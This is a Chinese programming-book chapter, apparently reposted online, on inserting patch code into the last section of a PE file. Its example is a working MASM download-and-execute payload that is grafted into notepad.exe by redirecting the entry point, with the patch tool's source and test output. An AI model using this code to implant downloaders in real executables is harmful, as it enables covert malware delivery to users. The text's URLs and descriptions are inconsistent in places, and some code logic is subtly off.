本章介绍如何在PE文件的最后一节插入补丁程序的方法。与前三章的补丁方法相比,这种方法是最简单也是最有效的一个,在后续章节的实例中几乎都是采用这种方法对目标PE实施补丁的。因为PE文件的最后一节的数据在文件的末尾,所以,将代码添加到最后一节时无需新增节表项,无需移动现有文件内容。

读者可能会问,如果最后一节是在装载时可以被抛弃的节该怎么办(比如重定位节)?幸运的是,相对于可运行的PE文件来说,由于操作系统为每个进程分配的地址空间是独立的,所以其被装载时总是被放置到指定的位置,所以,在可运行的PE里,不存在重定位节。首先来看补丁程序。

17.1 网络文件下载器补丁程序实例

本节要完成的补丁程序是一个网络文件下载器,即从网络上下载指定地址的PE文件并运行。从网络上下载文件时,会用到动态链接库wininet.dll,其中包含了Win32下与网络有关的函数,利用这些函数实现基于HTTP协议和FTP协议的服务连接和文件传输等功能。

网络文件下载器(简称“下载器”)可以用于软件在线自动升级、软件更新、远程管理和控制等领域。下载器首先通过检测本地网络连接状态,确定是否执行下载操作(本实例会循环检测网络连接状态,直到发现一个连接为止),下载时使用函数InternetOpenURL打开指定URL地址的连接;然后,使用InternetReadFile读取要下载的文件相关数据,并写入本地文件,完成对网络文件的下载。本例中最后还单独开启一个线程尝试执行已下载的文件。

首先来看本实例中用到的API函数。

17.1.1 用到的API函数

基于HTTP(HyperText Transfer Protocol,超文本传输协议)的文件下载的相关函数在动态链接库wininet.dll中。与本章补丁程序编写有关的函数见表17-1。

表17-1 补丁程序用到的API函数

如表17-1所示,大部分情况下,每个功能的函数都会有扩展函数,在原函数名末尾添加后缀“Ex”。如果函数参数中有字符串,则通常还会存在两个版本的相同名称的函数,例如,读取文件的扩展函数InternetReadFileExA,除此之外,还有一个名称是InternetReadFileExW。关于“A”和“W”的具体含义参照本书1.2.2小节的介绍。下面依次来介绍这些函数的定义及用法。

1.函数InternetGetConnectedStateEx

该函数用来检测当前电脑的网络连接情况。以下是该函数的完整定义:

BOOL InternetGetConnectedStateEx(
  __out   LPDWORD lpdwFlags,
  __out   LPTSTR lpszConnectionName,
  __in    DWORD dwNameLen,
  __in    DWORD dwReserved
);

函数参数解释如下:

1)lpdwFlags:出口参数,它是一个指向所获得的连接状态的指针。即使函数返回值为FALSE,该参数也会指向一个合法的标志。该标志的值通常有以下几种:

表17-2 函数InternetGetConnectedStateEx参数lpdwFlags的值

2)lpszConnectionName:指向返回连接名的字符串缓冲区的指针。

3)dwNameLen:字符串缓冲区长度。

4)dwReserved:保留,必须为0。

5)返回值:如果有一个活动的Internet连接,则返回TRUE,具体使用什么方式连接的网络则通过第一个参数lpdwFlags查找 ;如果没有Internet连接或连接当前不可用,则返回FALSE。如果返回FALSE,可通过调用GetLastError进一步查看更多错误信息。

2.函数InternetOpen

该函数可以建立客户端正在使用的网络连接参数表。函数原型如下:

HINTERNET WINAPI InternetOpen(
      LPCTSTR lpszAgent,             // 调用 WinINet 函数的应用程序
      DWORD dwAccessType,           // 访问类别
      LPCTSTR lpszProxy,             // 代理
      LPCTSTR lpszProxyBypass,     // 指向可选主机的字符串
      DWORD dwFlags                   //   标志
);

函数参数解释如下:

1)lpszAgent:指定调用WinINet函数的应用程序或入口,该入口用做HTTP协议中的用户代理项。

2)dwAccessType:指定返回参数的类别,该参数可为下列值之一:

❑ INTERNET_OPEN_TYPE_DIRECT:用于解析所有本地主机;

❑ INTERNET_OPEN_TYPE_PRECONFIG:返回注册表中代理或直接的配置;

❑ INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY:返回注册表中代理或直接的配置,并忽略通过自动脚本(如Microsoft Jscript等)设置的其他代理配置;

❑ INTERNET_OPEN_TYPE_PROXY:为代理传递请求,除非代理提供了旁路列表且解析的名字可以绕过代理,此时,函数使用INTERNET_OPEN_TYPE_DIRECT。

3)lpszProxy:指定当dwAccessType类型为INTERNET_OPEN_TYPE_PROXY时,代理服务器的名字。代理服务器的名字不能使用空字符串。WinINet函数仅能识别OERN类型的代理和TIS网关。如果安装了IE,这些函数也同样支持SOCKS代理。另外,如果dwAccessType类型没有被设置为INTERNET_OPEN_TYPE_PROXY,则该参数将被忽略且为NULL。

4)lpszProxyBypass:指向一个字符串,它指定一个可选的主机名列表或IP地址。

5)dwFlags:标志字。该参数可为下列值的任意组合:

❑ INTERNET_FLAG_ASYNC:仅能用于作用在该函数返回的句柄的子句柄上的异步请求。

❑ INTERNET_FLAG_FROM_CACHE:不做网络请求,所有的实体都由缓存返回。如果请求条目不在缓存中,将返回错误。

❑ INTERNET_FLAG_OFFLINE:与INTERNET_FLAG_FROM_CACHE 一样。

6)返回值:如果失败,返回NULL,否则返回一个有效的句柄,该句柄将由应用程序传递给接下来的WinINet函数。

3.函数InternetSetOption

该函数可用来改变各种Internet设置及当前网络进程的参数。完整定义如下:

BOOL InternetSetOption(
  __in   HINTERNET hInternet,      // 操作句柄
  __in   DWORD dwOption,             // 设定的参数
  __in   LPVOID lpBuffer,           // 存放设置参数或返回结果的缓冲区
    __in   DWORD dwBufferLength      // 缓冲区尺寸
  );

函数参数解释如下:

1)dwOption:要设置的连接Internet的选项。表17-3中列出一些常用的选项,由于这些选项比较多,具体的信息请参照MSDN。

表17-3 参数dwOption常用值

2)lpBuffer:指向包含选项设置的内容的一个指针。

3)dwBufferLength:缓冲区尺寸。

4)返回值:如果成功,就返回TRUE。

4.函数InternetOpenUrl

本函数用于打开一个URL地址指定的文件。函数完整定义如下:

HINTERNET InternetOpenUrl(
    HINTERNET hInternet,             // 句柄
    LPCTSTR lpszUrl,                  // 打开URL地址
    LPCTSTR lpszHeaders,             // 头部
    DWORD dwHeadersLength,          // 头部长度
    DWORD dwFlags,                    // 打开URL地址的属性
    DWORD_PTR dwContext              // 环境变量
);

函数参数解释如下:

1)hInternet:当前的Internet会话句柄。句柄必须由前期的InternetOpen调用返回。

2)lpszUrl:一个空字符结束的字符串变量的指针,用以标识要读取的网址。只有以“ftp:”、“gopher:”、“http:”或者“https:”开头的网址被支持。

3)lpszHeaders:一个空字符结束的字符串变量的指针,指定发送到HTTP服务器的头信息。

4)dwHeadersLength:额外的头的大小,以字节为单位。

5)dwFlags:标志字。此参数可为下列值之一:

❑ INTERNET_FLAG_EXISTING_CONNECT:如果此次访问和上一次访问使用了相同的属性,则会尝试使用已有的InternetConnect对象。这只对FTP操作有用,因为FTP是唯一在同一会话中执行多种操作的协议。WinINet API为每个由InternetOpen产生的HINTERNET保存一个独立的句柄。函数InternetOpenUrl和InternetConnect则使用此标志建立HTTP和FTP连接。

❑ INTERNET_FLAG_HYPERLINK:当决定要从网络重载时,如果服务器没有返回Expirestime和LastModified,那么强制重载。

❑ INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP:禁用检测从HTTPS到HTTP地址的重定向。当该标志被使用时,WinINet允许透明地重定向从HTTPS到HTTP的访问地址。

❑ INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS:禁用检测从HTTP到HTTPS地址的重定向。当该标志被使用时,WinINet允许透明地重定向从HTTP到HTTPS的访问地址。

❑ INTERNET_FLAG_NEED_FILE:如果要创建的文件不能被缓存,则创建临时文件。

❑ INTERNET_FLAG_NO_AUTH:不试图自动验证。

❑ INTERNET_FLAG_NO_AUTO_REDIRECT:不自动处理HttpSendRequest中的重定向。

❑ INTERNET_FLAG_NO_CACHE_WRITE:不添加返回实体到缓存。

❑ INTERNET_FLAG_NO_COOKIES:不会自动添加的Cookie头到请求,并且不自动添加返回的Cookies到Cookie数据库。

❑ INTERNET_FLAG_NO_UI:禁用Cookie的对话框。

❑ INTERNET_FLAG_PRAGMA_NOCACHE:即使代理中存在缓存副本,也强制要求由源服务器返回。

❑ INTERNET_FLAG_RELOAD:从源服务器强制下载所要求的文件、对象或目录列表,而不是从缓存下载。

❑ INTERNET_FLAG_RESYNCHRONIZE:重新加载的HTTP资源,如果资源在最后一次下载后已被修改,所有FTP和Gopher资源将被重载。

❑ INTERNET_FLAG_SECURE:使用安全传输语义。表示这次传输将使用安全套字节层/专用通信技术(SSL/PCT),这只有在HTTP请求时有意义。

6)dwContext:指向应用程序定义的某个值,它将随着返回的句柄,一起传递给回调函数。

7)返回值:如果已成功建立到FTP、Gopher或HTTP URL的连接,返回一个有效的句柄;如果连接失败,则返回NULL。

要检索特定的错误息,请使用函数GetLastError。要确定为什么对服务器的请求被拒绝,可以调用函数InternetGetLastResponseInfo。

5.函数HttpQueryInfo

该函数返回一个与HTTP请求关联的信息头。函数完整定义如下:

BOOL HttpQueryInfo(
  __in      HINTERNET hRequest,             // 句柄
  __in      DWORD dwInfoLevel,               // 修改请求用的属性和标识符的组合
  __inout   LPVOID lpvBuffer,                // 接收请求信息的缓冲区
  __inout   LPDWORD lpdwBufferLength,      // 缓冲区长度
    __inout   LPDWORD lpdwIndex                // 指向一个基于0的头索引
  );

函数参数解释如下:

1)hRequest:由HttpOpenRequest或InternetOpenUrl函数返回的句柄。

2)dwInfoLevel:属性和标识符的组合,用来修改请求。

3)lpvBuffer:指向一个缓冲的指针,该缓冲接收请求的信息。注意,该参数绝对不能为NULL。

4)lpdwBufferLength:指向一个变量的指针,该变量包含lpvBuffer参数指向的缓冲大小。当函数成功返回时,该变量包含了写入缓冲区的字节数。对于字符串,字节数量不包含结尾的NULL字符。当函数以ERROR_INSUFFICIENT_BUFFER而失败时,变量指向一个足够承载所需信息的缓冲区大小。主调用程序可以利用再次对该函数的调用为缓冲分配足够的空间。

5)lpdwIndex:指向一个基于0的头索引,用来枚举相同名字情况下多个头信息。当调用该函数时,该参数存储的是头的索引;当函数返回时,该参数是下一个头的索引。如果下一个索引不能找到,则返回ERROR_HEADER_NOT_FOUND 。

6)返回值:如果成功,返回TRUE ;如果失败,返回FALSE。

6.函数InternetReadFile

本函数用于读取网络上指定URL的文件。函数完整定义如下:

BOOL WINAPI InternetReadFile(
  HINTERNET hFile,                   // 网络文件句柄
  LPVOID lpBuffer,                   // 存储下载内容的缓冲区
  DWORD dwNumberOfBytesToRead,    // 要读取的字节长度
  LPDWORD lpdwNumberOfBytesRead   // 读到的字节长度
);

函数参数解释如下:

1)hFile:通过函数InternetOpenUrl、FtpOpenFile或HttpOpenRequest返回的合法的网络文件句柄。

2)lpBuffer:本地定义的用来存储读取到内容的缓冲区。

3)dwNumberOfBytesToRead:要读取的字节数。

4)lpdwNumberOfBytesRead:返回实际读取的字节数。

5)返回值:如果为TRUE,表示成功;否则,表示失败。

7.函数InternetCloseHandle

该函数用于关闭已打开的Internet文件。完整定义如下:

BOOL InternetCloseHandle(
  __in   HINTERNET hInternet   // 要关闭的文件句柄
);

函数参数解释如下:

1)hInternet:要关闭的文件句柄。

2)返回值:如果成功关闭,则返回TRUE;否则返回FALSE,表示关闭失败。

17.1.2 补丁功能的预演代码

如果直接编写补丁程序,需要通过补丁工具将补丁程序嵌入到目标PE文件中才能进行测试,这种方法不利于对程序的调试和纠错;因此,对于相对复杂的补丁程序的编写,应该先从它的功能代码开始。方法是编写一个简单的功能预演代码,该预演代码能够实现补丁程序应具备的所有功能;通过对预演代码的调试,能及时方便地发现代码中存在的错误并改正。当所有代码逻辑都没有问题以后,再着手编写补丁程序。代码清单17-1是实现目标补丁的功能代码(注意,这不是补丁程序)。

代码清单17-1 网络下载器的补丁程序预演版(chapter17\a\download.asm)

;download.asm  下载器(该源代码为功能测试版)
;未达到补丁要求,请按照补丁规则自行编写
;使用 nmake 或下列命令进行编译和链接:
;ml -c -coff download.asm
;link -subsystem:windows download.obj  

.386
.model flat,stdcall
option casemap:none

include		C:/masm32/include/windows.inc
include 	C:/masm32/include/user32.inc 
includelib 	C:/masm32/lib/user32.lib 
include 	C:/masm32/include/kernel32.inc 
includelib 	C:/masm32/lib/kernel32.lib 
include 	C:/masm32/include/wininet.inc 
includelib 	C:/masm32/lib/wininet.lib 

.code 
jmp start 
szText		db 'HelloWorld', 0
lpCN 		db 256 dup(0)
lpDWFlag 	dd ?
szTempPath 	db '.', 0
szAppName 	db 'Shell',0
lpszURL 	db 'http://127.0.0.1:2026/assets/style.css', 0
hInternet 	dd ?
hInternetFile	dd ?
hThreadID 		dd ?

;代码段
.code 
;-----------------------
; 线程函数,下载并运行
; 参数_lpURL指向要下载的文件
;-----------------------
_downAndRun proc _lpURL 
	local @szFileName[256]:byte 
	local @dwBuffer, @dwNumberOfBytesWritten, @dwBytesToWrite 
	local @lpBuffer[200h]:byte
	local @hFile 
	local @stStartupInfo:STARTUPINFO 
	local @stProcessInformation:PROCESS_INFORMATION 
	
	invoke GetTempFileName, addr szTempPath, NULL, \
				0, addr @szFileName 
	invoke InternetOpen, offset szAppName, \
			INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 
			
	.if eax != NULL 
		mov hInternet, eax 
		
		;设置联接超时值和接收超时值
		invoke InternetSetOption, hInternet, \
				INTERNET_OPTION_CONNECT_TIMEOUT, addr @dwBuffer, 4
		invoke InternetSetOption, hInternet, \
				INTERNET_OPTION_CONTROL_RECEIVE_TIMEOUT, \
							addr @dwBuffer, 4 
		;用当前参数打开URL
		invoke InternetOpenUrl, hInternet, _lpURL, NULL, NULL, \
					INTERNET_FLAG_EXISTING_CONNECT, 0 
		.if eax != NULL 
			mov hInternetFile, eax 
			mov @dwNumberOfBytesWritten, 200h 
			;读HTTP文件头
			invoke HttpQueryInfo, hInternetFile, HTTP_QUERY_STATUS_CODE, \
					addr @lpBuffer, addr @dwNumberOfBytesWritten, 0 
					
			.if eax != NULL 
				;打开临时文件准备写
				invoke CreateFile, addr @szFileName, GENERIC_WRITE, \
							0, NULL, OPEN_ALWAYS, 0, 0 
				.if eax != 0FFFFFFFFh
					mov @hFile, eax 
					.while TRUE 
						mov @dwBytesToWrite, 0 
						;读网络文件数据
						invoke InternetReadFile, hInternetFile, addr @lpBuffer, \
									200h, addr @dwBytesToWrite 
						.break .if (!eax) 
						.break .if (@dwBytesToWrite == 0)
						;写入文件
						invoke WriteFile, @hFile, addr @lpBuffer,
								@dwBytesToWrite, addr @dwNumberOfBytesWritten, 0 
					.endw 
					invoke SetEndOfFile, @hFile 
					invoke CloseHandle, @hFile 
				.endif 
			.endif 
			invoke InternetCloseHandle, hInternetFile 
		.endif
		invoke InternetCloseHandle, hInternet 
	.endif 
	
	;运行下载的文件
	invoke GetStartupInfo, addr @stStartupInfo 
	invoke CreateProcess, NULL, addr @szFileName, NULL, NULL, FALSE, \
			NORMAL_PRIORITY_CLASS, NULL, NULL, \
			addr @stStartupInfo, \
			addr @stProcessInformation
	.if eax == 0 
		invoke CloseHandle, @stProcessInformation.hThread 
		invoke CloseHandle, @stProcessInformation.hProcess 
	.endif 
	ret
_downAndRun endp 


start:
	;测试网络是否连通
	.while TRUE 
		invoke Sleep, 1000		;睡眠1秒
		invoke InternetGetConnectedStateEx, \
								addr lpDWFlag, \
								addr lpCN, 256, 0 
		.break .if eax 
	.endw 
	invoke _downAndRun, addr lpszURL 
	;db 0E9h, 0ffh, 0ffh, 0ffh, 0ffh 
	invoke ExitProcess, NULL
end start 

行110~117是一个循环,主要用来测试网络是否联通。如果联通,则开始下载由URL地址指定的网络文件。下载时,每次读取200h个字节,并写入到预先生成的临时文件中;最后,通过调用CreateProcess函数来运行下载后的程序。

本程序试图联接www.jntljdx.com网站,并从该网站下载文件gz.doc。

注意 在实际测试中,读者可以在互联网的某个网站上部署一个可执行文件,然后修改代码中指定要下载的URL地址。

这里在本地启动一个静态服务器,里面入了style.css文件,虚拟机里网络连接不通,这里用VS2019编译测试,下载的文件为xx.tmp,每次运行时生成的文件名都不一样,以tmp后缀结尾。

17.1.3 补丁程序的源代码

经过补丁功能代码的反复调试,如果没有错误,则可以进行补丁代码的编写。代码清单17-2是网络文件下载器的补丁代码,使用了本书13.3节介绍的嵌入补丁框架。这里只选取其中的一小部分,完整的补丁程序请参考随书文件chapter17\a\patch.asm。

代码清单17-2 从网络下载文件的补丁代码片断(chapter17\a\patch.asm)

1    _patchFun   proc _kernel,_getAddr,_loadLib
2
3         ;------------------------------------------------------
4         ; 补丁功能代码局部变量定义
5         ;------------------------------------------------------
6         pushad
7         ;测试网络是否连通
8         .while TRUE
9           push 1000
10          mov edx,_sleep[ebx] ;睡眠1秒
11          call edx
12
13          push 0
14          push 256
15          mov edx,offset lpCN
16          add edx,ebx
17          push edx
18          mov edx,offset lpDWFlag
19          add edx,ebx
20          push edx
21
22          mov edx,_internetGetConnectedStateEx[ebx] ;测试网络连通状态
23          call edx
24          .break .if eax
25        .endw
26        mov edx,offset lpszURL
27        add edx,ebx
28        push edx
29        mov edx,offset _downAndRun    ;下载文件并执行
30        add edx,ebx
31        call edx
32
33        popad
34        ret
35   _patchFun   endp

补丁代码和功能代码在逻辑思路上是完全一致的,所不同的是代码的表现方法。在补丁代码中使用了重定位技术和动态加载技术,所以,对每个函数的调用就相对复杂一些。如测试网络连通状态的代码在补丁功能代码中只有一行:

invoke InternetGetConnectedStateEx,addr lpDWFlag,addr lpCN,256,0

而在补丁代码中则需要很多行,如下所示:

push 0
push 256
mov edx,offset lpCN
add edx,ebx
push edx
mov edx,offset lpDWFlag
add edx,ebx
push edx
mov edx,_internetGetConnectedStateEx[ebx] ;测试网络连通状态
call edx

其他函数的调用方法类似于对函数InternetGetConnectedStateEx的调用,不再累述。

17.1.4 目标PE结构

在PE最后一节中插入程序后PE文件的结构如图17-1所示。

图17-1 最后一节插入程序后的目标PE结构

如图所示,附加代码即为补丁字节码,添加到目标PE文件末尾作为最后一节的一部分。图中标识的各变量解释(这些变量在补丁工具代码中被定义)如下:

❑ dwLastSectionAlignSize:最后一节对齐后的尺寸(含嵌入的补丁字节码)。

❑ dwNewFileSize:补丁后的目标PE文件的总大小。

❑ dwLastSectionStart:最后一节起始位置在文件中的偏移量。

❑ @dwFileSize1:目标PE最后一节未对齐时的大小(此大小不包含补丁代码)。

❑ dwNewFileAlignSize:附加代码在文件中的起始位置。

17.2 开发补丁工具

下面将介绍在PE最后一节中插入程序的补丁工具的开发。和前几章的补丁工具类似,本节的补丁工具完成了对补丁代码的附加,以及对参数的修正操作。

17.2.1 编程思路

在PE最后一节中插入程序的基本思路如下:

步骤1 在PE文件的最后一节将补丁代码附加进去。

步骤2 修改最后一个节表的内容,主要是SizeOfRawData、PointerToRawData和Characteristics三个字段的值。

步骤3 修正PE文件头部的相关字段,这些字段包括:映像尺寸SizeOfImage、函数的入口地址AddressEntryPoint。

步骤4 修正嵌入补丁框架中E9指令的操作数,即代码中的跳转指令地址。

根据以上分析的编程思路,可以知道编写补丁工具的大致流程如下:

1)获得补丁代码段大小,因为假设补丁程序使用了嵌入框架,所以数据、代码均在代码段中,补丁程序没有数据段定义。

2)将目标文件按照文件对齐粒度对齐。这主要是为了防止有一些文件结尾时,不考虑对齐粒度,从而导致在最后一节添加内容时造成不对齐。

3)求最后一节在文件中的偏移。

4)求最后一节的大小并按照文件对齐粒度对齐。

5)计算出添加了补丁程序的新文件的大小(原文件对齐后的值+补丁大小)。

6)按照计算出的新文件大小申请内存空间,并将原文件复制到申请的内存空间起始位置。

7)复制补丁代码到dwNewFileAlignSize处。

8)计算最后一节的SizeOfRawData和Misc的值,并更正;然后,设置该节的属性为可执行、可读、可写,即0c0000060h。

9)修正文件头部关键字段SizeOfImage。

10)修正函数入口地址和嵌入补丁框架最后的E9转移指令的操作数。

11)将内存中的内容复制到磁盘文件中。

17.2.2 主要代码

本节补丁工具的编写借用了第2章介绍的通用窗口程序框架pe.asm,补丁工具的主要代码在函数_openFile中。代码清单17-3列出了本节补丁工具的主要代码。

1      ;补丁代码段大小
2      invoke getCodeSegSize,@lpMemory
3      mov dwPatchCodeSize,eax
4
5      invoke wsprintf,addr szBuffer,addr szOut100,eax
6      invoke _appendInfo,addr szBuffer
7
8
9      ;将文件大小按照文件对齐粒度对齐
10
11      invoke getFileAlign,@lpMemory1
12      mov dwFileAlign,eax
13      xchg eax,ecx
14      mov eax,@dwFileSize1
15      invoke _align
16      mov dwNewFileAlignSize,eax
17
18      invoke wsprintf,addr szBuffer,addr szOut121,@dwFileSize1,\
19                                                              dwNewFileAlignSize
20      invoke _appendInfo,addr szBuffer

代码清单17-3 补丁工具主要代码(chapter17\bind.asm)

21
22      ;求最后一节在文件中的偏移
23      invoke getLastSectionStart,@lpMemory1
24      mov dwLastSectionStart,eax
25
26      invoke wsprintf,addr szBuffer,addr szOut122,eax
27      invoke _appendInfo,addr szBuffer
28
29      ;求最后一节大小
30      mov eax,dwNewFileAlignSize
31      sub eax,dwLastSectionStart
32      add eax,dwPatchCodeSize
33      ;将该值按照文件对齐粒度对齐
34      mov ecx,dwFileAlign
35      invoke _align
36      mov dwLastSectionAlignSize,eax
37
38      invoke wsprintf,addr szBuffer,addr szOut123,eax
39      invoke _appendInfo,addr szBuffer
40
41
42      ;求新文件大小
43      mov eax,dwLastSectionStart
44      add eax,dwLastSectionAlignSize
45      mov dwNewFileSize,eax
46
47      invoke wsprintf,addr szBuffer,addr szOut124,eax
48      invoke _appendInfo,addr szBuffer
49
50
51      ;申请内存空间
52      invoke GlobalAlloc,GHND,dwNewFileSize
53      mov @hDstFile,eax
54      invoke GlobalLock,@hDstFile
55      mov lpDstMemory,eax    ;将指针给@lpDst
56
57
58      ;将目标文件复制到内存区域
59      mov ecx,@dwFileSize1
60      invoke MemCopy,@lpMemory1,lpDstMemory,ecx
61
62      ;将补丁代码附加到最后一节中
63      invoke getCodeSegStart,@lpMemory
64      mov dwPatchCodeSegStart,eax
65
66      ;复制补丁代码
67      mov esi,dwPatchCodeSegStart
68      add esi,@lpMemory
69
70      mov edi,lpDstMemory
71      add edi,dwNewFileAlignSize
72
73      mov ecx,dwPatchCodeSize
74      invoke MemCopy,esi,edi,ecx
75
76      ;---------------------------到此为止,数据复制完毕
77
78      ;修正
79
80      ;计算SizeOfRawData
81      invoke _getRVACount,lpDstMemory
82      xor edx,edx
83      dec eax
84      mov ecx,sizeof IMAGE_SECTION_HEADER
85      mul ecx
86
87      mov edi,lpDstMemory
88      assume edi:ptr IMAGE_DOS_HEADER
89      add edi,[edi].e_lfanew
90      add edi,sizeof IMAGE_NT_HEADERS
91      add edi,eax
92      assume edi:ptr IMAGE_SECTION_HEADER
93      mov eax,dwLastSectionAlignSize
94      mov [edi].SizeOfRawData,eax
95
96      ;计算Misc值
97      invoke getSectionAlign,@lpMemory1
98      mov dwSectionAlign,eax
99      xchg eax,ecx
100      mov eax,dwLastSectionAlignSize
101      invoke _align
102      mov [edi].Misc,eax
103
104      ;修改标志
105      mov eax,0c0000060h
106      mov [edi].Characteristics,eax
107      ;计算VirtualAddress
108
109      mov eax,[edi].VirtualAddress   ;取原始RVA值
110      mov dwVirtualAddress,eax
111
112      ;修正函数入口地址
113      mov eax,dwNewFileAlignSize
114      invoke _OffsetToRVA,lpDstMemory,eax
115      mov dwNewEntryPoint,eax
116      mov edi,lpDstMemory
117      assume edi:ptr IMAGE_DOS_HEADER
118      add edi,[edi].e_lfanew
119      assume edi:ptr IMAGE_NT_HEADERS
120      mov eax,[edi].OptionalHeader.AddressOfEntryPoint
121      mov dwDstEntryPoint,eax
122      mov eax,dwNewEntryPoint
123      mov [edi].OptionalHeader.AddressOfEntryPoint,eax
124
  125      mov eax,dwDstEntryPoint
  126      sub eax,dwNewEntryPoint
  127      mov dwEIPOff,eax
  128
  129      ;修正SizeOfImage
  130      mov eax,dwLastSectionAlignSize
  131      mov ecx,dwSectionAlign
  132      invoke _align
  133      ;获取最后一个节的VirtualAddress
  134      add eax,dwVirtualAddress
  135      mov [edi].OptionalHeader.SizeOfImage,eax
  136
  137
  138      ;修正补丁代码中的E9指令后的操作数
  139      mov eax,lpDstMemory
  140      add eax,dwNewFileAlignSize
  141      add eax,dwPatchCodeSize
  142
  143      sub eax,5    ;eax指向了E9的操作数
  144      mov edi,eax
  145
  146      sub eax,lpDstMemory
  147      add eax,4
  148
  149      mov ebx,dwDstEntryPoint
  150      invoke _OffsetToRVA,lpDstMemory,eax
  151      sub ebx,eax
  152      mov dword ptr [edi],ebx
  153
  154      pushad
  155      invoke wsprintf,addr szBuffer,addr szOut112,ebx
  156      invoke _appendInfo,addr szBuffer
  157      popad
  158
  159      ;将新文件内容写入到c:\bindC.exe
  160      invoke writeToFile,lpDstMemory,dwNewFileSize

读者可自行比对补丁工具的编写流程和代码中的注释,辅助阅读该部分代码。

17.2.3 运行测试

编译链接补丁工具代码,使用生成的bind.exe对记事本程序进行测试,相关文件在随书文件的目录chapter17\a中。以下是使用补丁工具对notepad.exe打补丁的运行结果:

补丁程序:D:\masm32\source\chapter17\a\patch.exe
目标PE程序:C:\notepad.exe

补丁代码段大小:0000078a
PE文件大小:00010400
对齐以后的大小:00010400
目标文件最后一节在文件中的起始偏移:00008400
目标文件最后一节对齐后的大小:00008800
新文件大小:00010c00
补丁代码中的E9指令后的操作数修正为:ffff3c14

注意 测试时要保证电脑已连接到互联网络,且在指定的服务器上放置了要下载并运行的程序。如果联网不成功,程序会进入死循环。读者可以根据实际需要对代码进行修正,如设置超时的时间等,以便让程序能对运行环境有更好的适应性。

测试的网址为http://www.sddx.gov.cn/__local/2/5F/4C/95C2147F7016BABA9D71CCF7F5B_3543EAF0_1C071.jpg

这是一张图片

生成bindC.exe文件在C盘根目录下:

下载的原文件是一张图片,因此,把后缀改成jpg格式,可以打开图片

17.3 小结

本章主要讨论了在PE最后一节附加代码的方法。相比前三章的方法,这种方法工作量最少、编码最简单、要修正的值也最少。所以,这种方法被广泛用于各种场合的静态补丁中。通过学习本章,读者还可以掌握编写复杂补丁程序的方法,即先编写补丁程序的功能预演代码,然后按照静态嵌入补丁框架的编写原则逐句进行修改。

至此,PE进阶部分就结束了。通过本阶段的学习,笔者希望大家能掌握编写补丁程序、实施PE变形、在目标PE中插入补丁程序等方法。接下来的内容实践性会更强,将会为读者提供几个有趣又实用的专题案例。

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐